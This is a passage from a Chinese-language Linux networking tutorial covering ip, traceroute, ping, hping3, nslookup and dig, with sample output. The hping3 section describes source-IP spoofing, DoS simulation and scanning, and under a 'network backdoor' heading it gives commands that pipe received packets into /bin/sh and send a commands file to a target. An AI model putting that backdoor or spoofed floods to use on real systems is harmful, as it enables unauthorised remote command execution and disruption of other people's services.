作為系統管理員,經常需要診斷和解決網路問題,而配置、監控與保護網路有助於發現問題並在事情範圍擴大前得意解決,並且網路的效能與安全也是管理與診斷網路的重要部分。這裡總結一下常用與Linux網路管理的命令,大概60個長期更新。
IP
iproute2
包含網路、路由、ARP快取等的管理與配置的ip
命令,用來取代傳統的 ifconfig
與 route
;ip
使用第二個引數,指定在物件執行的操作(例如,add
delete
show
)。
ip 命令是配置網路介面的強大工具,任何 Linux 系統管理員都應該知道。它用於啟動或關閉介面、分配和刪除地址和路由、管理 ARP 快取等等。
ip
常用的子命令有:
link
(l
) 網路介面管理address
(a
) IP地址管理route
(r
) 路由表管理neigh
(n
) arp表管理
各系統下的包名與安裝
- Ubuntu/Debian:
iproute2
;apt install iproute2
- Centos/Fedora:
iproute2
;yum install -y iproute2
- Apline:
iproute2
;apk add iproute2
ip link
ip link
用於管理和顯示網路介面
獲取網路介面資訊ip link show
檢視特定裝置資訊
ip link show dev [device]
檢視所有網路介面的統計資訊(如傳輸或丟棄的資料包,錯誤等等):
ip -s link
檢視單個網路介面的類似資訊:
ip -s link ls [interface]
例如
[root@vm207694 ~]# ip -s link ls eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq state UP mode DEFAULT group default qlen 1000
link/ether da:78:c8:7a:fb:26 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
38626072259 324723879 0 347316 0 0
TX: bytes packets errors dropped carrier collsns
13404948080 6829250 0 0 0 0
如果需要顯示更多的詳情,可以再新增一個 -s
ip -s -s link ls [interface]
僅檢視啟動(執行)的介面列表
ip link ls up
修改網路介面資訊 ip link set
檢視 ip link
的幫助
ip link help
啟動/關閉網路介面
ip link set [interface] up/down
ip link
可以修改裝置傳輸佇列的長度
ip link set txqueuelen [number] dev [interface]
設定 MTU (Maximum Transmission Unit) 來提高網路效能
ip link set mtu [number] dev [interface]
檢視與管理IP地址 ip addr
顯示所有裝置
ip addr
列出網路介面與IP地址
ip addr show
檢視單個網路裝置的資訊
ip addr show dev [interface]
列出 IPv4/IPv6 地址
ip -4 addr
ip -6 addr
在Linux中新增網路地址
ip addr add [ip_address] dev [interface]
新增廣播地址
ip addr add brd [ip_address] dev [interface]
刪除介面上的網路地址
ip addr del [ip_address] dev [interface]
管理路由表 ip route
顯示路由表 ip route list
ip route
ip route list
選擇範圍;上述命令列出核心內所有路由條目,如果想要縮小範圍可以使用選擇器 SELECTOR
語法:ip route list SELECTOR
SELECTOR:
-
root:[ local | main | default | all | NUMBER ]
-
match:
[ match PREFIX ]
ip route list match 10
-
exact: [ exact PREFIX ]
-
TABLE
[ table TABLE_ID ] [ local | main | default | all | NUMBER ]
ip route list table local broadcast 127.0.0.0 dev lo proto kernel scope link src 127.0.0.1 local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1 broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1 broadcast 195.133.10.0 dev eth0 proto kernel scope link src 195.133.11.43 local 195.133.11.43 dev eth0 proto kernel scope host src 195.133.11.43 broadcast 195.133.11.255 dev eth0 proto kernel scope link src 195.133.11.43
-
PROTO
[ proto RTPROTO ] [ kernel | boot | static | NUMBER ]
ip route list proto static
-
TYPE
[ type TYPE ] { unicast | local | broadcast | multicast | throw |unreachable | prohibit | blackhole | nat }
ip route list type multicast
-
SCOPE
[ scope SCOPE ] [ host | link | global | NUMBER ]
ip route list scope link 169.254.0.0/16 dev eth0 metric 1002 172.16.0.0/20 dev eth0 proto kernel src 172.16.0.2
修改路由表 ip route add/del
在指定裝置上新增路由條目
ip route add [ip_address] dev [interface]
通過閘道器新增新路由
ip route add [ip_address] via [gatewayIP]
通過本地閘道器為所有地址新增預設路由
ip route add default [ip_address] dev [device]
ip route add default [network/mask] via [gatewayIP]
刪除已經存在的路由表
ip route del [ip_address]
ip route del default
ip route del [ip_address] dev [interface]
ARP地址表管理 ip neighbor
顯示arp 條目 ip neigh show
顯示系統中裝置的MAC地址及其狀態。裝置存在的狀態:
狀態 | 說明 |
---|---|
REACHABLE | 在超時過期之前有效且可訪問的條目 |
PERMANENT | 管理員才能刪除的永久條目 |
STALE | 有效但無法訪問的條目;為了檢查它的狀態,核心在第一次傳輸時檢查 |
例如
ip neigh show
192.168.10.1 dev eth0 lladdr 00:1f:ce:72:bd:8c REACHABLE
46.17.40.155 dev eth0 lladdr c4:71:fe:f1:9f:3f STALE
2a00:b700:3::1 dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
fe80::f0c5:a5ff:fee8:2aa4 dev eth0 lladdr f2:c5:a5:e8:2a:a4 router STALE
fe80::a48a:1eff:fe35:c2f7 dev eth0 lladdr a6:8a:1e:35:c2:f7 router STALE
fe80::4c4d:b3ff:fe44:fd58 dev eth0 lladdr 4e:4d:b3:44:fd:58 router STALE
fe80::4c33:dfff:fe92:9f2f dev eth0 lladdr 4e:33:df:92:9f:2f router STALE
fe80::21f:ceff:fe72:bd8c dev eth0 lladdr 00:1f:ce:72:bd:8c router STALE
修改arp條目 ip neigh add/del
ip neigh add [ip_address] dev [interface]
ip neigh del [ip_address] dev [interface]
traceroute
traceroute
可以追蹤資料傳輸是如何從本地傳輸到遠端的。一個典型的例子是網頁的訪問。在網際網路上載入一個網頁需要資料流經一個網路和許多路由器。traceroute
可以顯示所採用的路由以及網路上路由器的IP和主機名。它可以應用於排查網路延遲或診斷網路問題。
各系統下的包名與安裝
- Ubuntu/Debian:
traceroute
;apt install traceroute -y
- Centos/Fedora:
traceroute
;yum install -y traceroute
- Apline:
busybox
;apk add busybox
追蹤網路主機的路由 traceroute host
traceroute baidu.com
traceroute to baidu.com (220.181.38.148), 30 hops max, 60 byte packets
1 * 9.31.61.129 (9.31.61.129) 1.795 ms *
2 9.31.123.98 (9.31.123.98) 0.907 ms 1.179 ms 1.416 ms
3 10.196.18.109 (10.196.18.109) 0.866 ms 10.196.18.125 (10.196.18.125) 1.085 ms *
4 10.162.33.5 (10.162.33.5) 1.297 ms 10.200.16.169 (10.200.16.169) 0.774 ms 10.196.92.109 (10.196.92.109) 1.218 ms
5 10.162.32.145 (10.162.32.145) 1.539 ms 1.431 ms 10.162.32.149 (10.162.32.149) 1.310 ms
6 * * *
7 58.63.249.45 (58.63.249.45) 7.320 ms * 121.14.50.25 (121.14.50.25) 7.859 ms
8 * * 113.96.4.121 (113.96.4.121) 4.887 ms
9 202.97.22.149 (202.97.22.149) 32.481 ms 202.97.22.153 (202.97.22.153) 32.676 ms
10 36.110.245.206 (36.110.245.206) 36.928 ms 36.110.247.54 (36.110.247.54) 37.593 ms 36.110.245.82 (36.110.245.82) 41.254 ms
11 36.110.245.161 (36.110.245.161) 33.749 ms * 37.905 ms
12 * * *
13 * * 220.181.182.170 (220.181.182.170) 42.998 ms
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 * * *
24 * * *
25 * * *
26 * * *
27 * * *
28 * * *
29 * * *
30 * * *
第一行顯示要訪問的主機名和ip、traceroute將嘗試到主機的最大躍點數以及要傳送的位元組資料包的大小。
每行列出到達目的地的一個跳躍點。給出主機名與主機名的ip,然後是資料包到達主機並返回發起計算機所需的時間。預設情況下,traceroute
為每個主機傳送三個資料包,因此列出了三個響應時間。
星號 *
表示丟失的資料包。這意味著網路中斷、大量流量導致網路擁塞或防火牆丟棄流量。
追蹤IPv6協議
traceroute -6 ipv6.google.com
忽略主機名與IP的對映
使用-n選項在traceroute中禁用IP地址對映。
traceroute -n qq.com
traceroute to qq.com (183.3.226.35), 30 hops max, 60 byte packets
1 9.31.61.129 0.908 ms 1.159 ms 1.537 ms
2 9.31.122.210 1.061 ms 0.837 ms 1.421 ms
設定相應等待時間
使用 -w
選項在traceroute
中配置響應等待時間,支援指定等待對探測的響應的時間(秒為單位)。
traceroute -w 1 -n qq.com
使用特定的網路介面
使用-i選項設定traceroute應使用的網路介面,如果未設定,則根據路由表選擇介面。
traceroute -w 1 -n -i eth0 qq.com
ping & hping
ping
Ping是一種簡單、廣泛使用的跨平臺網路工具,用於測試主機是否可以在Internet協議(IP)網路上訪問。它的工作原理是向目標主機傳送網路控制訊息協議Internet Control Message Protocol (ICMP) ECHO_REQUEST,目標節點等待並回復 ECHO_RESPONSE。
可以使用ping
測試兩節點間的網路通訊,可以做到:
- 目標主機是否可用,
- 測量資料包到達目標主機並返回計算機所需的時間(與目標主機通訊的往返時間(rtt)),以及資料包丟失的百分比。
各系統下的安裝
- Ubuntu/Debian:
iputils-ping
;apt install iputils-ping
- Centos/Fedora:
iputils
;yum install -y iputils
- Apline:
iputils
;apk add iputils
使用引數
引數 | 說明 |
---|---|
-c | 指定傳送ECHO_REQUEST的請求數 |
-i | 設定包與包之間的間隔 ping -i 3 -c 5 www.google.com |
-f | flood ping,檢測高負載下的響應,需要有root許可權 |
-b | 允許ping一個廣播地址 |
-t | 限制ping遍歷的網路跳躍數(TTL Time-to-live),收到資料包的每個路由器從計數中至少減去 1,如果大於 0,路由器會將資料包轉發到下一跳,否則它會丟棄它並將 ICMP 響應返回。 |
-s | 設定ping時的資料包大小(單位 bytes),這將導致提供的總資料包大小加上ICMP頭的8個額外位元組。 |
-l | 傳送預載入資料包(先發不等待回覆的資料包),大於3需要root許可權 |
-W | 設定等待相應時間,單位秒 |
-w | 設定超時時間,超時退出,單位秒 |
-d | debug模式 |
-v | 顯示詳細輸出 |
-A | 更快的在兩節點間包往返的時間,非特權使用者最小為200ms |
hping
hping一個具有可嵌入tcl指令碼功能的 TCP/IP
包偽造工具。,主要用於建立或生成網路資料包以測試網路、服務或系統效能。 hping 是由不同實體開發的舊工具,並以 hping2
或 hping3
等新版本命名。 在大多數情況下,您可以使用作業系統提供的命令,可以是 hping 或 hping2 或 hping3。 hping 名稱源自 ping 命令名稱。hping3
是另一種用於掃描網路的工具。它在kali linux中預設是DOS攻擊軟體之一。
hping支援TCP、UDP、ICMP、raw-IP等協議用於不同的用例。通過使用hping,可以建立具有不同選項的不同協議包。hping主要可以用作。
- 建立原始IP資料包
- 生成指定數量的資料包
- 設定包傳送間隔
- 指定傳輸網路介面
- 建立和生成TCP資料包
- 建立和生成UDP資料包
- 建立和生成IP資料包
- 建立和生成ICMP資料包
- 設定MTU值
- 設定碎片並建立碎片或未碎片的資料包
- 設定資料包的有效負載或資料大小
hping的常用場景
- 模擬DOS和DDOS攻擊
- 測試防火牆和TCP、UDP、IP等協議的防火牆配置
- TCP和UDP埠掃描
- 測試網路裝置的配置,如碎片、MTU等。
- 用於列出中間主機的高階跟蹤路由
- 遠端作業系統指紋識別和檢測
- 遠端正常執行時間決策
- TCP/IP協議實現與棧測試審計
各系統下的安裝
- Ubuntu/Debian:
hping3
;apt install hping3
- Centos/Fedora:
hping3
;yum install epel-release && yum install -y hping3
- Apline:
hping3
;apk add hping3 --update-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing
引數說明
基礎引數
引數選項 | 引數說明 |
---|---|
-c --count [count] |
傳送資料包的次數 關於countreached_timeout 可以在hping2.h裡編輯 |
-i --interval |
每個包傳送間隔時間(單位是毫秒) 預設時間是1秒,此功能在增加傳輸率上很重要。-i 1 為1s -i u1 為1us (微秒) 即每秒傳送1000000包 |
--fast |
為 -i u10000 的別名,即1秒傳送10個包 |
--faster |
為 -i u1 的別名,但實際上傳送的包取決於計算機的速度 |
--flood |
儘可能快速的傳送包,不關注收到的恢復,要比 -i u0 快 |
-I --interface [interface name] |
指定預設的路由介面,在linux中,hping3使用預設路由介面。 可以使用 -I 接網路介面的完整名稱,如 eth0 |
-q -quiet |
安靜輸出。除了啟動時和完成時的摘要資訊外,不輸出任何內容。 |
-n -nmeric |
數字化輸出主機地址 |
協議選項
預設情況下,hping使用的為tcp協議
選項 | 說明 |
---|---|
-0 --rawip |
原始IP模式,此模式下,hping3將傳送IP頭。 |
-1 --icmp |
ICMP模式,預設情況下hping3將傳送ICMP回顯請求。 |
-2 --udp |
UDP模式,預設情況下,hping3將向目標主機的0埠傳送UDP |
-8 --scan |
埠掃描,在該模式下,需要提供一組埠,如 1,2,3 埠組以 , 分隔埠範圍: start-end 如 1000-2000 特殊字元: all 表示所有埠;know :包含 /etc/services 中的所有埠組合寫法: hping --scan 1-1000,8888,known -S www.baidu.com |
-9 --listen signature |
監聽模式,此模式下 hping3 等待包含簽名的資料包並從簽名端轉儲到資料包的結尾處。 |
IP相關選項
引數 | 說明 |
---|---|
-a --spoof hostname |
此選項可以偽造源IP地址,可確保目標不會獲得真實IP地址,必然性的響應將被髮送到偽造的地址處。 |
--rand-source |
此選項開啟隨機源模式。hping將傳送帶有隨機源地址的資料包。 |
--rand-dest |
此選項開啟隨機目標模式。hping將資料包傳送到隨機目標地址 如,當使用隨機目標地址時,可以使用 x 作為範圍,所有出現的 x 都將唄替換為0-255之間的隨機數。如10.0.0.x 。可以使用--debug 選項檢視生成的隨機地址。注意:使用此選項,hping無法檢測資料包的正確傳出介面,應使用 -I 選項指定網路介面。 |
-t --ttl |
此選項可以設定傳出資料包的TTL(生存時間) |
-N id |
設定IP欄位的隨機值 |
-H --ipproto |
在RAW IP模式中設定IP協議 |
-r --rel |
ip id等增量 |
-m –mtu |
設定虛擬最大傳輸單元 |
icmp選項
引數 | 說明 |
---|---|
-C --icmptype type |
設定icmp型別,預設為icmp echo reques。 |
--icmp-ipver |
設設定包含在ICMP資料中的IP頭的IP版本,預設值為4。 |
--icmp-ipproto |
設定包含在ICMP資料中的IP頭的IP協議,預設為TCP。 |
TCP/UDP選項
引數 | 說明 |
---|---|
-s --baseport [src port] |
隨機源埠 |
-p --destport [dest port] |
設定目標埠+ 目標埠將隨著收到的每個回覆而增加++ 目標埠每傳送資料包都會增加 |
--keep | 保持源埠不邊 |
-w --win | 設定tcp視窗大小,預設64 |
-F --fin | 設定 tcp fin標記 |
-S --syn | 設定 tcp SYN標記 |
-R --rst | 設定 tcp rst標記 |
-P --push | 設定 tcp PUSH標記 |
-A --ack | 設定 tcp ACK標記 |
-U --urg | 設定 tcp URG標記 |
-X --xmas | 設定 tcp Xmas標記 |
-Y --ymas | 設定 tcp Ymas標記 |
常用引數
引數 | 說明 |
---|---|
-d --data |
設定資料包主體大小。 使用 --data 40 hping將在 protocol_header 增加40 位元組。 |
-E --file [filename] |
使用檔名內容填充資料包的資料 |
-j --dump |
以16進位制匯出資料包 |
-J --print |
匯出可列印的資料包 |
-u --end |
如果使用 ``--file filename` 選項,何時為EOF。 |
-T --traceroute |
traceroute 模式。此選項將在接收ttl來嘗試追蹤。 |
--tr-keep-ttl |
保持ttl的固定,用於監視某一跳 |
–tr-stop |
traceroute 下收到第一個不是ICMP時退出 |
.... |
輸出格式
hping的一個標準的TCP/UDP格式如下,UDP欄位含義與TCP的相同。
# tcp
len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms
# udp
len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms
- len:len是從資料鏈路層捕獲的資料的大小(位元組),不包括資料鏈路頭大小。
- ip: ip 為請求的ip
- flags:flags為TCP的標記,如
- R RESET
- S SYN
- A ACK
- F FIN
- P PUSH
- U URGENT
- X 不標準的 0x40
- Y 不標準的 0x80
- seq:seq是資料包的序列號,使用TCP/UDP資料包的源埠獲得
- id 是IP ID欄位。
- win TCP 視窗大小
- rtt 往返時間 (round trip time),單位毫秒
- 以下是使用-V引數後的欄位
- tos 是IP標頭的服務型別欄位。
- iplen ip的總長度
- seq 和 ack 是TCP標頭中的序列號和32位確認號
- 是TCP標頭校驗和值。
- urp TCP緊急指標值。
ICMP的輸出格式
ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net
在此格式中,ip 為 ICMP 錯誤的 IP 地址,name為解析的名稱或者為UNKNOWN,而其他的引數含義與TCP/UDP大致相同。
埠掃描
hping可以自由地建立原始IP、TCP、UDP和ICMP資料包。可以利用此功能生成 TCP SYN
掃描。TCP-SYN
掃描是最簡單的將資料包傳送到主機/IP埠的方法。這裡 掃描的為110.242.68.4:80
啟動經典的掃描的最簡單方法是將TCP-SYN資料包傳送到主機/ip上的埠。下面的命令將掃描IP 192.168.8.223上的埠80。從輸出中,可以看到 flags=SA
SYN和ACK標記,代表一個開放埠。
hping3 -S 110.242.68.4 -p 80 -c 2
掃描一個範圍的埠可以使用 ++
hping3 -S 110.242.68.4 -p ++80
也可以使用如下方式
hping3 -8 80-86 -S 110.242.68.4
Scanning 110.242.68.4 (110.242.68.4), port 80-86
7 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
80 http : .S..A... 128 60936 64240 46
All replies received. Done.
Not responding ports: (81 ) (82 xfer) (83 mit-ml-dev) (84 ctf) (85 ) (86 mfcobol)
通過Hping3跟蹤路由到指定埠:
hping3支援一個很實用功能,可以追蹤路由到一個指出的埠,檢視你的資料包被阻塞的地方。
hping3 --traceroute -p 80 -V -1 www.google.com
using eth0, addr: 195.133.11.43, MTU: 1500
HPING www.google.com (eth0 142.250.150.104): icmp mode set, 28 headers + 0 data bytes
hop=1 TTL 0 during transit from ip=195.133.10.1 name=gateway
hop=1 hoprtt=3.1 ms
hop=2 TTL 0 during transit from ip=10.11.12.37 name=UNKNOWN
hop=2 hoprtt=10.0 ms
hop=3 TTL 0 during transit from ip=62.140.243.62 name=msk-m9-b1-ae30-vlan449.fiord.net
hop=3 hoprtt=1.9 ms
hop=4 TTL 0 during transit from ip=62.140.239.113 name=msk-m9-b6-ae1-vlan12.fiord.net
hop=4 hoprtt=9.8 ms
hop=5 TTL 0 during transit from ip=72.14.222.198 name=UNKNOWN
hop=5 hoprtt=4.2 ms
hop=6 TTL 0 during transit from ip=108.170.250.33 name=UNKNOWN
hop=6 hoprtt=3.8 ms
hop=7 TTL 0 during transit from ip=108.170.250.51 name=UNKNOWN
hop=7 hoprtt=2.5 ms
hop=8 TTL 0 during transit from ip=142.251.49.158 name=UNKNOWN
hop=8 hoprtt=34.7 ms
hop=9 TTL 0 during transit from ip=108.170.235.204 name=UNKNOWN
hop=9 hoprtt=18.2 ms
hop=10 TTL 0 during transit from ip=142.250.209.35 name=UNKNOWN
hop=10 hoprtt=17.1 ms
....
不同型別的ICMP
hping3 -c 5 -V -1 -C 17 110.242.68.4
using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): icmp mode set, 28 headers + 0 data bytes
--- 110.242.68.4 hping statistic ---
5 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
通過hping3進行TCP FIN掃描
在TCP連線中,FIN標誌用於開始請求關閉連線。萬一沒有得到答覆,那說明埠是開放的。通常防火牆會再次傳送Rst+ack資料包,以指示該埠已關閉。
通過hping3 進行ACK掃描
有些情況下,主機可能禁止PING ICMP,此時使用ACK掃描可以用於檢查主機是否處於活動狀態。如果主機活躍,會相應RST標記,在hping中是為 flags=R
。
hping3 -c 2 -V -p 80 -A 110.242.68.4
using eth0, addr: 10.0.0.4, MTU: 1500
HPING 110.242.68.4 (eth0 110.242.68.4): A set, 40 headers + 0 data bytes
len=46 ip=110.242.68.4 ttl=128 id=2391 tos=0 iplen=40
sport=80 flags=R seq=0 win=32767 rtt=0.6 ms
seq=1165126080 ack=0 sum=c0ba urp=0
UDP掃描
使用引數 -2
可以讓hping工作於UDP模式,可以進行UDP掃描
hping3 -2 8.8.4.4 -V -p 53 -c 10
作業系統識別
使用-Q或-seqnum可以讓hping
收集了ISN。
hping3 127.0.0.1 -Q -p 22 -V -S
using lo, addr: 127.0.0.1, MTU: 65536
HPING 127.0.0.1 (lo 127.0.0.1): S set, 40 headers + 0 data bytes
893247485 +893247485
2568100167 +1674852682
2600543427 +32443260
內容探測
可以使用hping的監聽模式,來抓取通過網路介面的所有流量,以及捕獲對應的內容。例如抓取通過谷歌搜尋的流量包
hping3 -9 "www.google.com" --beep -I eth0
hping2 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
Accept: */*
.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 370
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Set-Cookie: 1P_JAR=2021-06-25-07; expires=Sun, 25-Jul-2021 07:16:43 GMT; path=/; domain=.google.com; Secure
Set-Cookie: NID=217=PdQLBtU-tTavgvb4BW9ouB3nAr1OKNK6I_kn9u2Qa2eTgLA_qLyGv2G_2t2G_PRNVrKu2SOEm-e7ED17ljnx3uFBweBjQWOyRvHrJ6jhC5_J3yaBK0r8mikUrqHNjDez5F3rCleFQDurBEfnqECDFXNkvvO_-Wn4ahGJeid01TM; expires=Sat, 25-Dec-2021 07:16:43 GMT; path=/; domain=.google.com; HttpOnly
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.com.hk/url?sa=p&hl=zh-CN&pref=hkredirect&pval=yes&q=http://www.google.com.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL">here</A>.
</BODY></HTML>
.hk/&ust=1624605433464983&usg=AOvVaw2THxd5w15lxgX3_KA19GWL HTTP/1.1
User-Agent: curl/7.29.0
Host: www.google.com.hk
Accept: */*
.hk/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Date: Fri, 25 Jun 2021 07:16:43 GMT
Server: gws
Content-Length: 222
X-XSS-Protection: 0
Set-Cookie: 1P_JAR=2021-06-25-07; e
網路後門
可以通過hping3的監聽模式,建立一個簡單的後門(backdoor),通過管道來執行指令碼
hping3 -I eth1 -9 secret | /bin/sh
hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1
dig & nslookup
nslookup(name server lookup)用於在Linux中執行DNS查詢的工具。用於顯示DNS詳細資訊,例如計算機的IP地址、域的MX記錄或域的NS伺服器。
nslookup 可以在兩種模式下執行:互動式和非互動式。互動模式可以查詢名稱伺服器以獲取有關各種主機和域的資訊或列印域中的主機列表。非互動模式僅列印主機或域的名稱和請求的資訊。
dig(Domain Information Groper) 執行DNS查詢。預設情況下,dig查詢通過 resolver ( /etc/resolv.conf
) 中列出的DNS地址,除非指定特定的name server。
各系統下的安裝
- Ubuntu/Debian:
knot-dnsutils
;apt install knot-dnsutils
- Centos/Fedora:
bind-utils
|dnsutils
;yum install -y bind-utils
- Apline:
bind-tools
;apk add bind-tools
nslookup
簡單查詢
nslookup後跟域名將顯示域名的“A記錄”(IP地址),nslookup命令的預設輸出比dig命令的預設輸出相對整潔些。
nslookup redhat.com
執行反向DNS查詢:
nslookup 208.117.229.88
查詢MX記錄
MX( Mail Exchange )記錄將域名對映到該域的郵件伺服器列表。MX記錄表明發到 @qq.com
的所有郵件都應該路由到該域中的郵件伺服器。
nslookup -query=mx qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
qq.com mail exchanger = 20 mx2.qq.com.
qq.com mail exchanger = 30 mx1.qq.com.
qq.com mail exchanger = 10 mx3.qq.com.
Authoritative answers can be found from:
Authoritative Answer與Non-Authoritative Answer
可以注意到注意到上面輸出中的關鍵字 Authoritative
和 Non-Authoritative Answer
。任何來自DNS伺服器的答覆都稱為Authoritative Answer
,該伺服器具有域可用的完整區域檔案資訊。在許多情況下,DNS伺服器將不具備給定域的完整區域檔案資訊。相反,它維護一個快取檔案,該檔案包含過去執行的所有查詢的結果,並已獲得權威響應。當給出一個DNS查詢時,它搜尋快取檔案,並以 Non-Authoritative Answer
的形式返回可用的資訊。
查詢NS記錄
NS ( Name Server ) 記錄將域名對映到該域的授權DNS伺服器列表。它將輸出與給定域關聯的名稱服務。
nslookup -type=ns qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
qq.com nameserver = ns1.qq.com.
qq.com nameserver = ns2.qq.com.
qq.com nameserver = ns3.qq.com.
qq.com nameserver = ns4.qq.com.
Authoritative answers can be found from:
查詢SOA記錄
SOA ( start of authority )記錄\,提供關於域的權威資訊、域管理員的電子郵件地址、域序列號等。
nslookup -type=soa qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
qq.com
origin = ns1.qq.com
mail addr = webmaster.qq.com
serial = 1330914143
refresh = 3600
retry = 300
expire = 86400
minimum = 300
Authoritative answers can be found from:
- mail addr–指定域管理員的郵件地址
- serial 一種版本編號系統。標準慣例是使用
YYYYMMYNN
格式2012-07-16.01
如果在同一天進行了多個編輯,則將遞增) - refresh 指定從DNS服務何時輪詢主DNS以檢視序列號是否已增加(以秒為單位)。如果增加,從DNS伺服器將發出複製新區域檔案的新請求。
- retry 指定與主DNS重新連線的間隔
- expire 指定輔助DNS保持快取區域檔案有效的時間
- minimum 指定從DNS應快取區域檔案的時間
檢視可用的DNS記錄
nslookup -type=any qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
Name: qq.com
Address: 61.129.7.47
Name: qq.com
Address: 183.3.226.35
Name: qq.com
Address: 203.205.254.157
Name: qq.com
Address: 123.151.137.18
qq.com mail exchanger = 10 mx3.qq.com.
qq.com mail exchanger = 20 mx2.qq.com.
qq.com mail exchanger = 30 mx1.qq.com.
Authoritative answers can be found from:
使用指定DNS查詢
可以指定特定的DNS來解析域名,而不是使用預設DNS進行查詢。
nslookup www.qq.com 8.8.8.8
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
www.qq.com canonical name = news.qq.com.edgekey.net.
news.qq.com.edgekey.net canonical name = e6156.dscf.akamaiedge.net.
Name: e6156.dscf.akamaiedge.net
Address: 23.219.132.75
Name: e6156.dscf.akamaiedge.net
Address: 2600:1417:76:494::180c
Name: e6156.dscf.akamaiedge.net
Address: 2600:1417:76:480::180c
使用特殊的dns埠
預設情況下,DNS使用埠號為53。可以使用-port選項指定埠號。
nslookup -port 56 qq.com
設定超時時間
可以使用 -timeout
選項來指定超時時間
nslookup -timeout=10 qq.com
啟用除錯模式
-debug
選項開啟/關閉除錯
nslookup -debug qq.com
Server: 183.60.83.19
Address: 183.60.83.19#53
------------
QUESTIONS:
qq.com, type = A, class = IN
ANSWERS:
-> qq.com
internet address = 183.3.226.35
ttl = 92
-> qq.com
internet address = 203.205.254.157
ttl = 92
-> qq.com
internet address = 61.129.7.47
ttl = 92
-> qq.com
internet address = 123.151.137.18
ttl = 92
AUTHORITY RECORDS:
ADDITIONAL RECORDS:
------------
Non-authoritative answer:
Name: qq.com
Address: 183.3.226.35
Name: qq.com
Address: 203.205.254.157
Name: qq.com
Address: 61.129.7.47
Name: qq.com
Address: 123.151.137.18
------------
QUESTIONS:
qq.com, type = AAAA, class = IN
ANSWERS:
AUTHORITY RECORDS:
-> qq.com
origin = ns1.qq.com
mail addr = webmaster.qq.com
serial = 1330914143
refresh = 3600
retry = 300
expire = 86400
minimum = 300
ttl = 296
ADDITIONAL RECORDS:
------------
dig
語法
dig @server name type
解析IP地址
dig
通常不帶引數地用於獲取提供的DNS名稱的IP地址。預設使用系統提供的DNS伺服器用於DNS解析。
dig www.qq.com
; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40004
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;www.qq.com. IN A
;; ANSWER SECTION:
www.qq.com. 132 IN CNAME ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A 109.244.236.76
ins-r23tsuuf.ias.tencent-cloud.net. 60 IN A 109.244.236.65
;; Query time: 11 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Jun 22 21:39:33 CST 2021
;; MSG SIZE rcvd: 108
dig命令輸出包括以下部分:
HEADER
:顯示dig命令的版本號、dig命令使用的全域性選項,以及一些附加的Header資訊。QUESTION SECTION
:顯示dig像DNSserver發出的請求。即你請求的域名。這裡使用dig命令獲取qq.com
使用的預設型別(A記錄)ANSWER SECTION
:顯示從DNS接收到的應答。將顯示qq.com
的A記錄ADDITIONAL SECTION
:顯示ADDITIONAL SECTION
中列出的DNS伺服器的ip地址。- 底部的Stats部分顯示一些dig命令統計資訊,包括執行此查詢所用的時間
僅顯示應答部分
在大多數情況下,我們只需要檢視dig的 ANSWER SECTION
。可以僅列印該部分。
+nocomments
不顯示註釋行+noauthority
不顯示authority
部分+noadditional
不顯示additional
部分+nostats
不顯示統計資訊stats
+noanswer
關掉ANSWER
部分,這裡一般為想要的結果
dig www.qq.com \
+nocomments \
+noquestion \
+noauthority \
+noadditional \
+nostats
; <<>> DiG 9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.3 <<>> www.qq.com +nocomments +noquestion +noauthority +noadditional +nostats
;; global options: +cmd
www.qq.com. 180 IN CNAME ins-r23tsuuf.ias.tencent-cloud.net.
ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A 109.244.236.65
ins-r23tsuuf.ias.tencent-cloud.net. 31 IN A 109.244.236.76
也可以使用 +noal
